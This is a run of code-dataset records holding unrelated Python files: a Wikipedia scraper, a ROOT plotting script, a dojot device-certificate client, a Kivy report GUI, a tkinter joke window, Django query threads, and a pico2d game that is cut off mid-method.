\"https://en.wikipedia.org/wiki/Wikipedia:Template_namespace\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Wikimedia_sister_projects\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:WikiProject_Council/Guide\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Hidden_text\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Military_history\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Indonesia-related_articles\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Pakistan-related_articles\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Blazon\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Edit_filter\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Naming_conventions_(US_stations)\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Naming_conventions_(Irish_stations)\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Naming_conventions_(Canadian_stations)\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Naming_conventions_(places_in_Bangladesh)\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Naming_conventions_(Football_in_Australia)\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Five_pillars]\"]\r\n for url in cross_checked:\r\n #get the shortcuts\r\n #access the policy/guideline page\r\n outlink_pg = requests.get(url).text\r\n minisoup = BeautifulSoup(outlink_pg, 'html.parser')\r\n\r\n temp = []\r\n #Wikipedia:title of page\r\n temp.append(minisoup.find(\"h1\").string)\r\n title = minisoup.find(\"h1\").string\r\n\r\n #shortcuts\r\n mods = minisoup.find_all(class_=\"module-shortcutlist\")\r\n \r\n for m in mods:\r\n shortcuts = m.find_next_sibling(\"ul\")\r\n for s in shortcuts:\r\n temp.append(s.string)\r\n \r\n #if this is the guideline page, want to double-check the top box as well\r\n top_box = minisoup.select(\"div.shortcutbox.noprint > div.plainlist > ul > li\")\r\n #print(test)\r\n for x in top_box:\r\n temp.append(x.string)\r\n\r\n #remove any duplicates from temp\r\n temp = list(dict.fromkeys(temp))\r\n print(title)\r\n row = [cat,url,title,temp]\r\n rows.append(row)\r\n\r\n #generate the entries\r\n print(\"creating the tsv file now....\")\r\n with open(filename, 'w') as tsvfile:\r\n writer = csv.writer(tsvfile, delimiter='\\t')\r\n writer.writerows(rows)\r\n print(\" \")\r\n\r\n# create a log for what's being done.\r\n#filelog = open(\"filelog.txt\", \"w\")\r\n#filelog.close()","sub_path":"shortcuts_get/shortcuts_get_en.py","file_name":"shortcuts_get_en.py","file_ext":"py","file_size_in_byte":10731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"559458269","text":"import ROOT as r\n\nAna = ['thad', 'Whad']\n\npath = {}\npath['thad'] = '/eos/experiment/fcc/hh/analyses/W_top_vs_QCD_tagger/heppy_outputs/fcc_v02/TMVA_trainings/TMVA_BDT_thad_vs_QCD.root'\npath['Whad'] = '/eos/experiment/fcc/hh/analyses/W_top_vs_QCD_tagger/heppy_outputs/fcc_v02/TMVA_trainings/TMVA_BDT_Whad_vs_QCD.root'\n\ninfile = {}\ninfile['thad'] = r.TFile.Open(path['thad'])\ninfile['Whad'] = r.TFile.Open(path['Whad'])\n\nhist = {}\nhist['thad'] = infile['thad'].Get('thad_vs_QCD/Method_BDT_thad_vs_QCD/BDT_thad_vs_QCD/MVA_BDT_thad_vs_QCD_trainingEffBvsS')\nhist['Whad'] = infile['Whad'].Get('Whad_vs_QCD/Method_BDT_Whad_vs_QCD/BDT_Whad_vs_QCD/MVA_BDT_Whad_vs_QCD_trainingEffBvsS')\n\nlegend = {}\nlegend['thad'] = '#scale[1.3]{t_{ #scale[1.05]{had}} vs. QCD tagger}'\nlegend['Whad'] = '#scale[1.3]{W_{ #scale[1.05]{had}} vs. QCD tagger}'\n\ncolor = {}\ncolor['thad'] = r.kRed\ncolor['Whad'] = r.kBlue\n\ncanvas = r.TCanvas(legend['thad'], legend['thad'], 600, 600)\ncanvas.SetLogy(True)\ncanvas.SetTicks(1,1)\ncanvas.SetLeftMargin(0.14)\ncanvas.SetRightMargin(0.08)\nr.gStyle.SetOptStat(0)\n\nleg = r.TLegend(0.35,0.12,0.9,0.3)\nleg.SetFillColor(0)\nleg.SetFillStyle(0)\nleg.SetLineColor(0)\nleg.SetShadowColor(10)\nleg.SetTextSize(0.035)\nleg.SetTextFont(42)\n\n############\nfor ana in Ana :\n hist[ana].SetLineWidth(3)\n hist[ana].SetLineColor(color[ana])\n leg.AddEntry(hist[ana],legend[ana],\"l\")\n \nhist['thad'].GetYaxis().SetTitleOffset(1.45)\nhist['thad'].GetXaxis().SetTitleOffset(1.15)\nhist['thad'].SetTitle(\"\")\nhist['thad'].GetXaxis().SetTitle(\"Signal efficiency\")\nhist['thad'].GetYaxis().SetTitle(\"Background efficiency\")\n \nhist['thad'].SetMaximum(1.)\nhist['thad'].SetMinimum(1.e-4)\nhist['thad'].GetXaxis().SetRangeUser(0.2, 1.)\n\nhist['thad'].Draw()\nhist['Whad'].Draw(\"same\")\nleg.Draw(\"same\")\n \nText = r.TLatex()\n \nText.SetNDC()\nText.SetTextAlign(31);\nText.SetTextSize(0.04)\n\nleftText = 'Boosted topology' \ntext = '#it{' + leftText +'}'\nText.DrawLatex(0.90, 0.92, text)\n\nptText= 'Jet p_{T}~10 TeV'\ntext = '#it{' + ptText +'}'\nText.SetTextSize(0.031)\nText.DrawLatex(0.37, 0.82, text)\n\ncanvas.RedrawAxis()\ncanvas.GetFrame().SetBorderSize( 12 )\ncanvas.Modified()\ncanvas.Update()\n\ncanvas.Print('effQCD_vs_effWhadBlue_thadRed_log.pdf')\n\n","sub_path":"scripts/do_eff_plot.py","file_name":"do_eff_plot.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"577101984","text":"import json\nimport slugify\nimport os\nimport shutil\nfrom string import Template\n\nwith open('../data-crawler/loslesen.at/karte.json') as json_data:\n d = json.load(json_data)\n print(d[\"places\"])\n for b in d[\"places\"]:\n directory = '../in/' + slugify.slugify(b[\"ort\"])\n name = slugify.slugify(b[\"titel\"])\n\n shutil.rmtree(directory, ignore_errors=True)\n\n name = name.replace(slugify.slugify(b[\"ort\"]), '')\n\n if name.endswith('-'):\n name = name[:-1]\n if name.startswith('-'):\n name = name[1:]\n\n if not os.path.exists(directory):\n os.makedirs(directory)\n if not os.path.exists(directory + '/' + name):\n os.makedirs(directory + '/' + name)\n\n d={ 'titel':b[\"titel\"], 'postalcode':b[\"plz\"], 'address':b[\"adresse\"] }\n\n if not os.path.isfile(directory + '/' + name + '/index.html'):\n open(directory + '/' + name + '/index.html', 'w').close()\n open(directory + '/' + name + '/data.json', 'w').close()\n \n # f = open(directory + '/' + name + '/index.html')\n f2 = open(directory + '/' + name + '/index.html', 'r')\n #src = Template( f.read() )\n #txt = src.substitute(d)\n txt = f2.read()\n f2.close()\n # txt = txt.replace('title', b[\"titel\"])\n f2 = open(directory + '/' + name + '/data.json', 'w')\n f2.write(json.dumps({ 'titel': b[\"titel\"], 'postalcode': b[\"plz\"], 'address': b[\"adresse\"] }))\n f2.close()\n f2 = open(directory + '/' + name + '/index.html', 'w')\n f2.write('Name: ' +b[\"titel\"] + ' -- ' + b[\"adresse\"] + ', ' + b[\"plz\"] + ' ' + b[\"ort\"])\n f2.close()\n\n print('-----------------')\n print(directory + '/' + name)\n\n\n'''\n{\n \"id\": \"292\",\n \"titel\": \"B\\u00fccherei Stephanshart\",\n \"plz\": \"3321\",\n \"ort\": \"Ardagger\",\n \"adresse\": \"Dorfplatz 1\",\n \"lat\": \"48.1586267\",\n \"lng\": \"14.818266\",\n \"web\": \"\",\n \"email\": \"evaleo.dietl@aon.at\",\n \"telefon\": \"+4369910608996\",\n \"beschreibung\": \"\",\n \"typ\": \"[\\\"barrierefrei\\\"]\"\n }\n'''","sub_path":"cli/library-init.py","file_name":"library-init.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"440291570","text":"#!/usr/bin/python\n#\nimport os\nimport sys\nimport binascii\nfrom OpenSSL import crypto\nfrom time import sleep\nimport requests\nimport getpass\n\nimport certUtils\nfrom parseArgs import parseArgs\nimport conf\n\n\ndef dojotLogin(dojot, username, httpsVerify):\n if not username:\n username = input('enter your dojot username: ')\n passwd = getpass.getpass('enter password for ' + username + ': ')\n try:\n r = requests.post(dojot + conf.authpath, verify=httpsVerify,\n json={\n \"username\": username,\n \"passwd\": passwd\n })\n r.raise_for_status()\n except requests.exceptions.ConnectionError:\n print(\"Could not connect to Auth service at \" + dojot + conf.authpath)\n exit(-1)\n except requests.exceptions.HTTPError as err:\n print('Authentication faied')\n if err.response.status_code in [403, 401]:\n print('Wrong user or password')\n else:\n print('Err code %d. mesage %s' %\n (err.response.status_code, err.response.text))\n exit(-1)\n\n return r.json()['jwt']\n\n\ndef generateKeys(devname, length, overwrite):\n filename = conf.certsDir + \"/\" + devname + \".key\"\n if not os.path.isfile(filename) or overwrite:\n certUtils.generatePrivateKey(filename, length)\n print(devname + \" key pair created at \" + filename)\n else:\n print(\"Key pair already exists at \" + filename + \". Skiping.\")\n\n\ndef generateCSR(devname, overwrite, dns, ip):\n filename = conf.certsDir + \"/\" + devname + \".csr\"\n if not os.path.isfile(filename) or overwrite:\n certUtils.generateCSR(\n CName=devname,\n privateKeyFile=conf.certsDir + \"/\" + devname + \".key\",\n csrFileName=filename,\n dnsname=dns, ipaddr=ip)\n else:\n print(\"CSR file already exists at \" + filename + \". Skiping.\")\n\n\ndef askCertSign(ejbcaHost, devname, overwrite):\n filename = conf.certsDir + \"/\" + devname + \".crt\"\n if not os.path.isfile(filename) or overwrite:\n try:\n cert = certUtils.signCert(ejbcaHost,\n conf.certsDir + \"/\" + devname + \".csr\",\n devname, 'dojot')\n except requests.exceptions.HTTPError as err:\n print(\"Cant sign the CRT. EJBCA-REST return code: \"\n \" EJBCA-REST return code: \"\n + str(err.response.status_code))\n print(str(err.response.text))\n helperErrorDesc(err.response.status_code)\n exit(-1)\n certUtils.saveCRT(filename, cert)\n print(devname + \" certificate signed. Avaliable at \" + filename)\n else:\n print(\"Certificate file already exists at \" + filename + \". Skiping.\")\n\n\ndef retrieveCAChain(ejbcaHost, caName, overwrite):\n filename = conf.certsDir + \"/\" + caName + \".crt\"\n if not os.path.isfile(filename) or overwrite:\n try:\n rawCrt = certUtils.retrieveCAChain(ejbcaHost, caName)\n certUtils.saveCRT(filename, rawCrt)\n print(\"CA certificates retrieved\")\n except KeyError:\n print(\"Invalid answer returned from EJBCA.\")\n exit(-1)\n except requests.exceptions.HTTPError as err:\n print(\"Can't retrieve CA chain certificate.\"\n \" EJBCA-REST return code: \"\n + str(err.response.status_code))\n print(str(err.response.text))\n helperErrorDesc(err.response.status_code)\n exit(-1)\n else:\n print(\"CA Certificate file already exists at \"\n + filename + \". Skiping.\")\n\n\ndef retrieveCRL(ejbcaHost, caName):\n try:\n rawCRL = certUtils.retrieveCACRL(ejbcaHost, caName)\n except KeyError:\n print(\"Invalid answer returned from EJBCA.\")\n exit(-1)\n except requests.exceptions.HTTPError as err:\n print(\"Can't retrieve CA CRL.\"\n \" EJBCA-REST return code: \"\n + str(err.response.status_code))\n print(str(err.response.text))\n helperErrorDesc(err.response.status_code)\n exit(-1)\n try:\n certUtils.saveCRL(conf.certsDir + \"/\" + caName + \".crl\", rawCRL)\n except crypto.Error:\n print(\"Could not decode retrieved CRL\")\n exit(-1)\n\n\ndef helperErrorDesc(code):\n if code == 401 or code == 403:\n print(\"Your user is not allowed to do this\")\n elif code == 500:\n print(\"internal server error\")\n elif code == 503:\n print(\"Service unavailable. \"\n \"If you are using dojot, check if Kong is configurated,\"\n \" and if EJBCA-REST and Auth are running\")\n\n\nif __name__ == '__main__':\n userConf = parseArgs()\n userAuth = dojotLogin(userConf.dojot, userConf.username,\n userConf.skipHttpsVerification)\n print('Authenticated')\n\n certUtils.defaultHeader['Authorization'] = 'Bearer ' + userAuth\n\n retrieveCAChain(userConf.dojot, userConf.caName, userConf.overwrite)\n # retrieveCRL(userConf.dojot, userConf.caName)\n\n generateKeys(userConf.deviceName,\n userConf.keyLength,\n userConf.overwrite)\n\n generateCSR(userConf.deviceName,\n userConf.overwrite,\n userConf.dns, userConf.ip)\n askCertSign(userConf.dojot, userConf.deviceName, userConf.overwrite)\n\n # deslog\n exit(0)\n","sub_path":"generateLoginPwd.py","file_name":"generateLoginPwd.py","file_ext":"py","file_size_in_byte":5439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"288840019","text":"## outside modules\nimport kivy\nkivy.require('1.11.1')\n\nfrom kivy.app import App\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.image import Image\nfrom kivy.graphics import Color, Rectangle\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.label import Label\nfrom kivy.core.text import LabelBase\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.filechooser import FileChooserListView, FileChooserIconView\nimport webbrowser\nimport os\n\nclass AppendixView(BoxLayout):\n\n def __init__(self, **kwargs):\n super(AppendixView, self).__init__(**kwargs)\n\n self.__is_doc_report = True\n self.__is_qualtrics = False\n\n self.open_file_prompt = self.create_open_file_prompt()\n self.open_file_dialog = self.create_open_file_dialog()\n self.report_selector = self.create_report_selector()\n self.document_format_selector = self.create_document_format_selector()\n self.spreadsheet_format_selector = self.create_spreadsheet_format_selector()\n self.other_template_dialog = self.create_other_template_dialog()\n self.save_file_prompt = self.create_save_file_prompt()\n\n def create_open_file_prompt(self):\n popup_layout = BoxLayout(orientation='vertical')\n help_text = \"Choose labelled appendix verbatims (.csv) file\\n\\n\"\n help_text += \"[ref=click][color=F3993D]Click here for examples of verbatim files[/color][/ref]\"\n\n def examples_link(instance, value):\n webbrowser.open(\"https://www.dropbox.com/sh/tmg33zeh71sb71k/AAB5tpanqADX96yB3VL5yLw_a?dl=0\")\n\n label = Label(text=help_text, markup=True)\n label.bind(on_ref_press=examples_link)\n label.font_family= \"Y2\"\n\n popup_layout.add_widget(label)\n\n save_btn = Button(text='>', size_hint=(.2,.2))\n save_btn.pos_hint={'center_x': 0.5, 'center_y': 0.5}\n save_btn.bind(on_release=self.open_file_prompt_to_dialog)\n\n popup_layout.add_widget(save_btn)\n\n popup = Popup(title=\"Select appendix file\",\n content=popup_layout,\n size_hint=(.7, .5), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return popup\n\n def create_open_file_dialog(self):\n chooser = BoxLayout()\n container = BoxLayout(orientation='vertical')\n\n def open_file(path, filename):\n try:\n filepath = os.path.join(path, filename[0])\n self.__open_filename = filepath\n self.open_file_dialog_to_report_selector()\n except IndexError:\n self.error_message(\"Please pick an appendix (.csv) file\")\n\n filechooser = FileChooserListView()\n filechooser.path = os.path.expanduser(\"~\")\n filechooser.bind(on_selection=lambda x: filechooser.selection)\n filechooser.filters = [\"*.csv\"]\n\n open_btn = Button(text='open', size_hint=(.2,.1), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n open_btn.bind(on_release=lambda x: open_file(filechooser.path, filechooser.selection))\n\n container.add_widget(filechooser)\n container.add_widget(open_btn)\n chooser.add_widget(container)\n\n file_chooser = Popup(title='Open file',\n content=chooser,\n size_hint=(.9, .7 ), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return file_chooser \n\n def create_report_selector(self):\n chooser = BoxLayout(orientation='vertical')\n\n help_text = \"Choose from the following report options\\n\\n\"\n help_text += \"[ref=click][color=F3993D]Click here for examples of report formats[/color][/ref]\"\n\n def examples_link(instance, value):\n webbrowser.open(\"https://www.dropbox.com/sh/pcpgh1uin5lzt3w/AABHLm6f_bKzh_RIWqslqFKSa?dl=0\")\n\n label = Label(text=help_text, markup=True)\n label.bind(on_ref_press=examples_link)\n label.font_family= \"Y2\"\n\n chooser.add_widget(label)\n\n button_layout = BoxLayout()\n button_layout.size_hint = (1, .1)\n doc_btn = Button(text=\"Document\", on_press=self.is_doc)\n\n spr_btn = Button(text=\"Spreadsheet\", on_press=self.is_sheet)\n\n button_layout.add_widget(doc_btn)\n button_layout.add_widget(spr_btn)\n\n chooser.add_widget(button_layout)\n\n report_chooser = Popup(title='Choose format',\n content=chooser,\n size_hint=(.9, .7 ), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return report_chooser\n\n def create_document_format_selector(self):\n chooser = BoxLayout(orientation='vertical')\n\n text = \"Choose from the following format options.\"\n label = Label(text=text)\n label.font_family = \"Y2\"\n\n chooser.add_widget(label)\n\n button_layout = BoxLayout()\n button_layout.size_hint = (1, .1)\n\n policy_btn = Button(text=\"Utah Policy\", on_press=self.is_policy)\n y2_btn = Button(text=\"Y2 Analytics\", on_press=self.is_y2)\n oth_btn = Button(text=\"Other\", on_press=self.is_other)\n\n button_layout.add_widget(policy_btn)\n button_layout.add_widget(y2_btn)\n button_layout.add_widget(oth_btn)\n\n chooser.add_widget(button_layout)\n\n format_chooser = Popup(title='Choose format',\n content=chooser,\n size_hint=(.9, .7 ), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return format_chooser \n\n def create_spreadsheet_format_selector(self):\n chooser = BoxLayout(orientation='vertical')\n\n text = \"Choose from the following format options.\"\n label = Label(text=text)\n label.font_family = \"Y2\"\n\n chooser.add_widget(label)\n\n button_layout = BoxLayout()\n button_layout.size_hint = (1, .1)\n\n qualtrics_btn = Button(text=\"Qualtrics\", on_press=self.is_qualtrics)\n policy_btn = Button(text=\"Utah Policy\", on_press=self.is_policy)\n y2_btn = Button(text=\"Y2 Analytics\", on_press=self.is_y2)\n\n button_layout.add_widget(qualtrics_btn)\n button_layout.add_widget(policy_btn)\n button_layout.add_widget(y2_btn)\n\n chooser.add_widget(button_layout)\n\n format_chooser = Popup(title='Choose format',\n content=chooser,\n size_hint=(.9, .7 ), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return format_chooser \n\n def create_other_template_dialog(self):\n chooser = BoxLayout()\n container = BoxLayout(orientation='vertical')\n\n def open_file(path, filename):\n try:\n filepath = os.path.join(path, filename[0])\n self.__template_file_path = filepath\n self.other_template_dialog_to_save()\n except IndexError:\n self.error_message(\"Please select a template document (.docx) file\")\n\n filechooser = FileChooserListView()\n filechooser.path = os.path.expanduser(\"~\")\n filechooser.bind(on_selection=lambda x: filechooser.selection)\n filechooser.filters = [\"*.docx\"]\n\n open_btn = Button(text='open', size_hint=(.2,.1), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n open_btn.bind(on_release=lambda x: open_file(filechooser.path, filechooser.selection))\n\n container.add_widget(filechooser)\n container.add_widget(open_btn)\n chooser.add_widget(container)\n\n file_chooser = Popup(title='Open file',\n content=chooser,\n size_hint=(.9, .7 ), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return file_chooser \n\n def create_save_file_prompt(self):\n popup_layout = BoxLayout(orientation='vertical')\n label = Label(text=\"Choose a file location and name for topline appendix report\")\n label.font_family= \"Y2\"\n\n popup_layout.add_widget(label)\n\n save_btn = Button(text='>', size_hint=(.2,.2))\n save_btn.pos_hint={'center_x': 0.5, 'center_y': 0.5}\n save_btn.bind(on_release=self.save_file_prompt_to_dialog)\n\n popup_layout.add_widget(save_btn)\n\n popup = Popup(title=\"Select save file location\",\n content=popup_layout,\n size_hint=(.7, .5), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return popup\n\n def create_save_file_dialog(self):\n chooser = BoxLayout()\n container = BoxLayout(orientation='vertical')\n\n filechooser = FileChooserIconView()\n filechooser.path = os.path.expanduser(\"~\")\n\n container.add_widget(filechooser)\n\n def save_file(path, filename):\n filepath = os.path.join(path, filename)\n path, ext = os.path.splitext(filepath)\n if ext != \".xlsx\" and ext != \".docx\":\n if self.__is_doc_report:\n filepath += \".docx\"\n else:\n filepath += \".xlsx\"\n self.__save_filename = filepath\n self.finish()\n\n button_layout = BoxLayout()\n button_layout.size_hint = (1, .1)\n\n if self.__is_doc_report:\n file_default = \"File name.docx\"\n else:\n file_default = \"File name.xlsx\"\n\n file_name = TextInput(text=file_default)\n button_layout.add_widget(file_name)\n\n save_btn = Button(text='save', size_hint=(.2,1))\n save_btn.bind(on_release=lambda x: save_file(filechooser.path, file_name.text))\n\n button_layout.add_widget(save_btn)\n container.add_widget(button_layout)\n chooser.add_widget(container)\n\n file_chooser = Popup(title='Save report',\n content=chooser,\n size_hint=(.9, .7 ), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n return file_chooser\n\n def run(self, controller):\n self.__template_file_path = None\n self.__controller = controller\n self.open_file_prompt.open()\n\n def open_file_prompt_to_dialog(self, instance):\n self.open_file_prompt.dismiss()\n self.open_file_dialog.open()\n\n def open_file_dialog_to_report_selector(self):\n self.open_file_dialog.dismiss()\n try:\n self.__controller.build_appendix_model(self.__open_filename)\n self.report_selector.open()\n except:\n self.error_message(\"Error reading in data file.\")\n\n def is_doc(self, instance):\n self.report_selector.dismiss()\n self.document_format_selector.open()\n\n def is_sheet(self, instance):\n self.__is_doc_report = False\n self.report_selector.dismiss()\n self.spreadsheet_format_selector.open()\n\n def is_qualtrics(self, instance):\n self.__template_name = \"QUALTRICS\"\n self.document_format_selector.dismiss()\n self.spreadsheet_format_selector.dismiss()\n\n self.save_file_prompt.open()\n\n def is_y2(self, instance):\n self.__template_name = \"Y2\"\n self.document_format_selector.dismiss()\n self.spreadsheet_format_selector.dismiss()\n \n self.save_file_prompt.open()\n\n def is_policy(self, instance):\n self.__template_name = \"UT_POLICY\"\n self.document_format_selector.dismiss()\n self.spreadsheet_format_selector.dismiss()\n\n self.save_file_prompt.open()\n\n def is_other(self, instance):\n self.__template_name = \"OTHER\"\n self.document_format_selector.dismiss()\n self.spreadsheet_format_selector.dismiss()\n\n self.other_template_dialog.open()\n\n def other_template_dialog_to_save(self):\n self.other_template_dialog.dismiss()\n self.save_file_prompt.open()\n\n def save_file_prompt_to_dialog(self, instance):\n self.save_file_prompt.dismiss()\n self.save_file_dialog = self.create_save_file_dialog()\n self.save_file_dialog.open()\n\n def finish(self):\n self.save_file_dialog.dismiss()\n #try:\n self.__controller.build_appendix_report(self.__save_filename, self.__is_doc_report, self.__template_name, self.__template_file_path)\n# except:\n# self.error_message(\"Error formatting appendix report.\")\n \n def error_message(self, error):\n label = Label(text=error)\n label.font_family= \"Y2\"\n\n popup = Popup(title=\"Something Went Wrong\",\n content=label,\n size_hint=(.5, .8), pos_hint={'center_x': 0.5, 'center_y': 0.5})\n\n popup.open()\n","sub_path":"internbot/view/topline_view/appendix_view.py","file_name":"appendix_view.py","file_ext":"py","file_size_in_byte":12141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"86608205","text":"#!/user/bin/python\n# -*- coding:utf-8 -*-\nfrom tkinter import *\nfrom tkinter import messagebox\nfrom PIL import Image\nfrom PIL import ImageTk\ndef closewindow():\n #设置提示信息\n messagebox.showinfo(title='哈哈哈,关不掉',message='就是关不掉')\n # 关闭窗口\n window.destroy()\n return\ndef love():\n #创建一个顶级窗口,依赖原始窗口存在\n # love=Toplevel(window)\n\n # love.geometry('220x180+550+300')\n messagebox.showinfo(title='太好了',message='回答正确')\n label.grid(row=1, columnspan=1, sticky=W)\n # love.mainloop()\ndef nolove():\n nolove=Toplevel(window)\n nolove.title('好好想想哦')\n nolove.geometry('240x180+530+300')\n label = Label(nolove, text='回答错误', font=(\"微软雅黑\", 20))\n label.grid(row=1, columnspan=1, sticky=W)\n nolove.mainloop()\n\n#创建一个窗口\nwindow=Tk()\n#命名窗口的标题\nwindow.title(\"Hello 小姐姐\")\n#设置窗口的大小\nwindow.geometry('380x360+450+200')\n#设置窗口的位置\n# window.geometry(+0+0)\n#当用户关闭窗口时触发\nwindow.protocol('WM_DELETE_WINDOW',closewindow)\n#添加一个文本标签(控件)\nlabel=Label(window,text='hsadf',font=(\"微软雅黑\",20))\n#显示标签(行,列,以什么对齐,E,S,W,N)\nlabel.grid(row=1,columnspan=1,sticky=W)\n#添加图片控件\n# imag=PhotoImage(file='cc.png')\n# image=Label(window,image=imag)\n# image.grid(row=2,columnspan=2)\n\n#第二种添加(pillow,就第5,6行)\nphoto=Image.open('cc.png')\nphot=ImageTk.PhotoImage(photo)\npho=Label(window,image=phot)\n#显示数据\npho.grid(row=2,columnspan=2)\n\nbotten=Button(window,text='同意',width=7,height=2,command=love)\nbotten.grid(row=3,column=0,sticky=W)\nbotten=Button(window,text='不同意',width=7,height=2,command=nolove)\nbotten.grid(row=3,column=1,sticky=E)\n#显示窗口\nwindow.mainloop()\n","sub_path":"图形练习.py","file_name":"图形练习.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"517992277","text":"# Q1 함수. 피보나치수열 만들기\n# 피보나치 수열 1번\nprevious = 0\ncurrent = 1\ni = 0\n\nwhile i < 20:\n print(current)\n temp = previous\n previous = current\n current = previous + temp\n i += 1\n\n# 피보나치 수열 2번\ndef fib(n):\n if n == 0 : return 0\n if n == 1 : return 1\n return fib(n-2) + fib(n-1)\n\nfor i in range(10):\n print(fib(i))\n\n\n\n","sub_path":"jumptopythongo/4과 설명문.py","file_name":"4과 설명문.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"243475751","text":"import threading\r\nfrom app.settings import settings\r\nfrom app.models.models import staticRecord, holdingRecord, dynamicRecord\r\nimport datetime as dt\r\n\r\n#################################################################\r\nclass fetchHoldingsThread(threading.Thread):\r\n \r\n def __init__(self,fund):\r\n threading.Thread.__init__(self)\r\n self.fund = fund\r\n self.models = None\r\n ###################################\r\n ### Query for Securities in Holdings - Determine Which Ones Need Proxy ###\r\n def run(self):\r\n portfolio_ids = list(self.fund.portfolios.keys())\r\n self.models = holdingRecord.objects.filter(rcg_portfolio_id__in = portfolio_ids,date_held=self.fund.snapshot_date).all()\r\n\r\n#################################################################\r\nclass fetchStaticThread(threading.Thread):\r\n \r\n def __init__(self,fund):\r\n threading.Thread.__init__(self)\r\n self.fund = fund\r\n self.models = None\r\n ###################################\r\n ### Query for Securities in Holdings - Determine Which Ones Need Proxy ###\r\n def run(self):\r\n self.models = staticRecord.objects.all()\r\n\r\n#################################################################\r\nclass fetchDynamicThread(threading.Thread):\r\n \r\n def __init__(self,fund):\r\n threading.Thread.__init__(self)\r\n self.fund = fund\r\n self.models = None\r\n self.dynamicDateRange = []\r\n\r\n ### Returns list of unique dates starting at snapshot and moving backwards\r\n def generateUniqueDates(self):\r\n lookback = settings.maximumLookbackDays\r\n\r\n ### Get Unique Dates Between Start and End Date\r\n self.dynamicDateRange = []\r\n for i in range(lookback):\r\n prevDate = self.fund.snapshot_date - dt.timedelta(days=i)\r\n self.dynamicDateRange.append(prevDate)\r\n\r\n return\r\n\r\n #####################\r\n ### Query for All Needed Historical Data\r\n def run(self):\r\n\r\n ### Get most recent days of dynamic data\r\n if self.fund.restrictToSnapshot:\r\n self.models = dynamicRecord.objects.filter(date=self.fund.snapshot_date,\r\n measurement_type__in=self.fund.desired_measurements).all()\r\n else:\r\n self.generateUniqueDates()\r\n self.models = dynamicRecord.objects.filter(date__in=self.dynamicDateRange,\r\n measurement_type__in=self.fund.desired_measurements).all()\r\n","sub_path":"app/modules/fundThreads.py","file_name":"fundThreads.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"499954574","text":"import random\nfrom Weapon import Weapon\nfrom Map import *\nfrom pico2d import *\nfrom Monster import Slime\nimport copy\nfont = None\nslime = None\nmy_map = None\nmy_mapLayer = None\ntile_map = None\n#my_weapon = None\n\nWORLD_GRAVITY = 9.8\n\nclass Hero:\n PIXEL_PER_METER = (10.0 / 0.3) # 10 pixel 30 cm\n RUN_SPEED_KMPH = 30.0 # Km / Hour\n RUN_SPEED_MPM = (RUN_SPEED_KMPH * 1000.0 / 60.0)\n RUN_SPEED_MPS = (RUN_SPEED_MPM / 60.0)\n RUN_SPEED_PPS = (RUN_SPEED_MPS * PIXEL_PER_METER)\n SHOW_MAP_SIZE = 15 #화면에보여지는 크기\n SHOW_MAP_SIZEY = 10\n TIME_PER_ACTION = 0.5\n ACTION_PER_TIME = 1.0 / TIME_PER_ACTION\n FRAMES_PER_ACTION = 8\n\n image = None\n\n LEFT_RUN, RIGHT_RUN, LEFT_STAND, RIGHT_STAND, LEFT_KNOCK_BACK , RIGHT_KNOCK_BACK = 0, 1, 2, 3, 4, 5\n\n def handle_left_run(self):\n #왼쪽 오른쪽 움직임(맵)\n if self.Left_Check == True and self.x > 0:\n if my_map.x >= 900 or self.x >= 400:\n self.x -= self.distance\n elif my_map.x < 900:\n my_map.x += self.distance\n my_mapLayer.x += self.distance/4\n my_mapLayer.x2 += self.distance/2\n for i in range((tile_map.mapSizeY)):\n for j in range((72)):\n tile_map.x[i][j] += self.distance\n else:\n self.state = self.LEFT_STAND\n\n def handle_left_stand(self):\n if self.Right_Check == True:\n self.state = self.RIGHT_RUN\n if self.Left_Check == True:\n self.state = self.LEFT_RUN\n pass\n\n def handle_right_run(self):\n if self.Right_Check == True:\n if self.x <= 400 or my_map.x <= 0 : #화면 반이상\n self.x += self.distance\n elif my_map.x > 0:\n my_map.x -= self.distance\n 